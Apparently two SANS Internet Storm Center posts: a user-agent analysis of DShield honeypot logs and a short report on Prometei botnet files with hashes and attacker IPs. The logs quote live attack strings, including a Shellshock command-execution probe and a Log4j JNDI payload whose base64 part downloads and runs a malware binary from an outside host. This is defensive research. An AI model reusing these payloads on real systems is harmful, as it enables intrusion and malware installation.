   4475 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
   4596 Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
   4615 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
   4625 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:53.0) Gecko/20100101 Firefox/53.0
   4868 Gecko/20100914
   4894 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16
   5036 Mozilla/5.0 (Windows NT 6.1; rv:60.0) Gecko/20100101 Firefox/60.0
   5222 () { ignored; }; echo Content-Type: text/plain ; echo  ; echo ; /usr/bin/id
   5612 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
   6442 curl/7.29.0
   6652 gSOAP/2.8
   6729 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
   7534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14)
   7721 Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
   8052 Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
   8073 Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
   8230 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101
   8644 curl/7.60.0
   8649 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
   8819 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
   9145 Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
   9326 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0
   9853 Mozilla/5.0
  10708 <script>alert(Qualys)</script>
  12703 curl/7.47.0
  13541 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:46.0) Gecko/20100101 Firefox/46.0
  13746 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
  15824 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
  17642 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
  18622 Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0
  19283 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
  19708 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.18) Gecko/2010020220 Firefox/3.0.18 (.NET CLR 3.5.30729)
  22817 Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
  32794 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
  39371 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)
  40764 Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0
  74931 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
  93445 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
 831351 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0
 864153 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0

 

Based on the data, it looks like this might be a Qualys scan [5]. Using different agent strings to access web resources can be particularly helpful to determine vulnerabilities and work around security controls. For example, some websites may block accss to their resources if using an automated tool like curl. However, this can be easily circumvented [6]. 

 

Least Common User Agents

Count Translated User Agent Raw User Agent
1 Chrome 92 on Android 11 Mozilla/5.0 (Linux; Android 11; ONEPLUS A6000) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Mobile Safari/537.36
1 Chrome 56 on Windows 8 Mozilla/5.0 (Windows NT 6.2;en-US) AppleWebKit/537.32.36 (KHTML, live Gecko) Chrome/56.0.3037.63 Safari/537.32
1 Safari 10 on Mac OS X (Yosemite) Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/10.0 Safari/602.1.50
1 Chromium 75 on Ubuntu Linux Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/75.0.3770.142 Chrome/75.0.3770.142 Safari/537.36
1 Chrome 72 on Windows 10 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36
1 No results found t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//193.111.248[.]104:2213/TomcatBypass/Command/Base64
/d2dldCAtTyAvdG1wL3BhcmFpc28ueDg2IGh0dHA6Ly91cGRhdGUuZXRlcm5pdHlzdHJlc3Nlci54eXovZG93bmxvYWQvYmlu
cy9wYXJhaXNvLng4NiA7IGN1cmwgLW8gL3RtcC9wYXJhaXNvLng4NiBodHRwOi8vdXBkYXRlLmV0ZXJuaXR5c3RyZXNzZXIue
Hl6L2Rvd25sb2FkL2JpbnMvcGFyYWlzby54ODYgOyBjaG1vZCAreCAvdG1wL3BhcmFpc28ueDg2IDsgY2htb2QgNzc3IC90bX
AvcGFyYWlzby54ODYgOyAvdG1wL3BhcmFpc28ueDg2IHg4NiA7IHJtIC1yZiAvdG1wL3BhcmFpc28ueDg2}')
1 Edge 118 on Android 11 Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.4430.91 Mobile Safari/537.36 Edg/118.0.0.0
1 Chrome 101 on Windows 10 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
1 Chrome 19 on iOS 5.1 Mozilla/5.0 (iPhone; U; CPU iPhone OS 5_1_1 like Mac OS X; da-dk) AppleWebKit/534.46.0 (KHTML, like Gecko) CriOS/19.0.1084.60 Mobile/9B206 Safari/7534.48.3
1 Android Browser 3.1 on Android (Cupcake) HTC_Dream Mozilla/5.0 (Linux; U; Android 1.5; en-ca; Build/CUPCAKE) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1

Figure 4: Top 10 least common user agents seen on a DShield honeypot

 

These results indicate a user agent that was not found through the API. These items were listed as "No results found". This looks like a Log4j attack, attempting to download a payload from %%ip:193.111.248%% on port %%port:2213%%. Any items that did not have a result could be a good place to look for customized user agents and attacks.

 

User Agents Not Found

Count Translated User Agent Raw User Agent
53175 No results found 'Cloud mapping experiment. Contact research@pdrlabs.net'
38409 No results found Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com
15048 No results found gSOAP/2.8
14492 No results found <script>alert(Qualys)</script>
12540 No results found Hello World
9009 No results found () { ignored; }; echo Content-Type: text/plain ; echo  ; echo ; /usr/bin/id
6929 No results found Gecko/20100914
5170 No results found Node.js
4612 No results found Sun Web Console Fingerprinter/7.15
3062 No results found ${jndi:dns://10.10.11.42:45742/QUALYSTEST}

Figure 5: Top 10 most common user agents without a translated match, seen on a DShield honeypot

 

There are indications of research scans, vulneability scans, web attacks and perhaps some user agents that simply aren't defined yet in the resource that was used. Taking out any of the Log4j attacks and a couple derogatory items, these were the user agents without any results found:

  • <script>alert(Qualys)</script>
  • A
  • Abcd
  • abuse.xmco[.]fr
  • Adobe Application Manager 2.0
  • asusrouter–
  • 'Cloud mapping experiment. Contact research@pdrlabs[.]net'
  • Dark
  • DoCoMo/2.0 SH901iC(c100;TB;W24H12)
  • Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks[.]com
  • fasthttp
  • Gecko/20100914
  • gSOAP/2.8
  • hacked-by-matrix
  • Hello World
  • Hello World/1.0
  • Hello, world
  • Hello, World
  • https://aff[.]rip/?affiliate_id=9345&keyword=tech+discord+server
  • https://affgate[.]top/landing/aff/
  • https://discordservers[.]su/
  • Kryptos Logic Telltale – telltale.kryptoslogic[.]com
  • l9tcpid/v1.1.0
  • masscan/1.0 (https://github[.]com/robertdavidgraham/masscan)
  • masscan/1.3 (https://github[.]com/robertdavidgraham/masscan)
  • masscan-ng/1.3 (https://github[.]com/bi-zone/masscan-ng)
  • Microsoft URL Control – 6.00.8862
  • MOT-L7v/08.B7.5DR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0
  • Mozila/5.0
  • nekololis-owned-you
  • Node.js
  • NukeBotC2
  • Offline Explorer/2.5
  • pOrT.sCaNnInG.iS.nOt.A.cRiMe
  • QualysGuard
  • r00ts3c-owned-you
  • SEC-SGHX210/1.0 UP.Link/6.3.1.13.0
  • Sun Web Console Fingerprinter/7.15
  • t.me/DeltaApi
  • the beast
  • WDG_Validator/1.6.2
  • WebCopier v4.6
  • webprosbot/2.0 (+mailto:abuse-6337@webpros[.]com)
  • WebZIP/3.5 (http://www.spidersoft[.]com)
  • Xenu Link Sleuth/1.3.8
  • xfa1
  • ZX-80 SPECTRUM

Any of these user agents would be interesting to look into in more depth. Understanding the user agent strings accessing web resources can help to uncover suspicious activity. In addition, understanding the user agents coming from your network can also help uncover applications that reside on devices and the devices themselves.


Figure 6: User agents identifying a Roku TV

 

[1] https://en.wikipedia.org/wiki/User_agent
[2] https://isc.sans.edu/honeypot.html
[3] https://developers.whatismybrowser.com/api/
[4] https://developers.whatismybrowser.com/api/docs/v3/sample-code/python/detect/
[5] https://www.qualys.com/apps/web-app-scanning/
[6] https://phoenixnap.com/kb/curl-user-agent


Jesse La Grew
Handler

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Suspicious Prometei Botnet Activity, (Sun, Jan 7th)

This post was originally published on this site

On the 31 Dec 2023, after trying multiple username/password combination, actor using IP 194.30.53.68 successfully loging to the honeypot and uploaded eight files where 2 of them are protected with a 7zip password (updates1.7z & updates2.7z). Some of  these files have been identified to be related to the Prometei trojan by Virustotal. The file sqhost.exe [6] was last found by Talos [7] used with the Prometei botnet as a trojan coin miner. 

Some of the commands run by the actor after successful login.

The files uploaded to the honeypot are a combination of Windows and Linux executables. 

Indicators of Compromize

7z.exe:        ac9674feb8f2fad20c1e046de67f899419276ae79a60e8cc021a4bf472ae044f
7z.dll:           a1e1d1f0fff4fcccfbdfa313f3bdfea4d3dfe2c2d9174a615bbc39a0a6929338
rdpcIip.exe:  f4ac4f735b9ff260a275734d86610dccb8558d1a54c6d6a78a94c33b6aaf6e39 
sqhost.exe:  7affd78df02298ce6e779833bb4f222193e65acf05488de5ba8c5388a3dd8e89
upnpsetup:   0ca3a4c2800f9454cdcbb8398a7ec97b00f90f4234c7c5e48e206a8352d86750 ->  ELF 64-bit LSB executable
updates1.7z: 608b2c8220a595a9766e2fdc5c91899dda635f97bc505e1a41e523aaddb11652
updates2.7z: 6f39d02f27e3241224bb16e4753091b9d4ae2b4d0108a3fde2e3ebad0e1627bf
zsvc:               d470e24adff149f1cb6710d2a005d8c07693ab0159de7cdc5e661c4879e2db58 -> ELF 64-bit LSB executable
194.30.53.68   correo.progecobilbao.com

[1] https://www.virustotal.com/gui/file/f4ac4f735b9ff260a275734d86610dccb8558d1a54c6d6a78a94c33b6aaf6e39
[2] https://www.virustotal.com/gui/file/0ca3a4c2800f9454cdcbb8398a7ec97b00f90f4234c7c5e48e206a8352d86750
[3] https://www.virustotal.com/gui/ip-address/194.30.53.68/
[4] https://www.shodan.io/host/194.30.53.68
[5] https://isc.sans.edu/ipinfo/194.30.53.68
[6] https://www.cybereason.com/blog/research/prometei-botnet-exploiting-microsoft-exchange-vulnerabilities
[7] https://blog.talosintelligence.com/prometei-botnet-improves/

———–
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.